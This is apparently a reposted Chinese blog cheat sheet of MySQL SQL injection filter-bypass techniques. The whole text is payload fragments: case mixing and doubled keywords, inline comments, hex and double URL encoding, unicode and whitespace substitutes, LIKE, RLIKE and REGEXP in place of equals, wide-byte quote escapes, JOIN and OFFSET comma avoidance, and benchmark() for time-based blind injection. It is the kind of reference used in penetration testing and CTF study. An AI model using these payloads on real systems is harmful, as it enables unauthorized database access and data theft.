标签:注释 font logs concat_ws 16进制 sel 大小 html size
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313
https://www.cnblogs.com/vincy99/p/9642882.html
UniOn SeleCt
ununionion seselectlect
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
and /*!select*/ 1,2
16进制绕过:
select * from users where username = test1;
select * from users where username = 0x7465737431;
对关键字进行两次url全编码:
1+and+1=2 1+%25%36%31%25%36%65%25%36%34+1=2
unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9 空格=> %u0020 %uff00 左括号=> %u0028 %uff08 右括号=> %u0029 %uff09
某些网站过滤了“<>”符号才行:
unio<>n sel<>ect
uni/**/on se/**/lect
/**/
%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
and = &&
or = ||
不加通配符
的like
执行的效果和=
一致,所以可以用来绕过;
rlike
的用法和上面的like
一样,没有通配符效果和=
一样;
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
<> 等价于 != ,所以在前面再加一个!
结果就是等号了
?id=1 or 1 like 1 ?id=1 or 1 rlike 1 ?id=1 or 1 regexp 1 ?id=1 or !(1 <> 1)或者1 !(<>) 1
宽字符
# 过滤单引号时 %bf%27 %df%27 %aa%27
使用十六进制
‘user‘=>0x7573657273
盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串
select substr("string",1,3); 等价于 select substr("string" from 1 for 3);
使用join
关键字来绕过
union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join(select 3)c
使用offset关键字:
适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2
sleep() -->benchmark()
and sleep(1) 等价于 and benchmark(1000000000,1)
group_concat()–>concat_ws()
select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2");
标签:注释 font logs concat_ws 16进制 sel 大小 html size
原文地址:https://www.cnblogs.com/-chenxs/p/11618846.html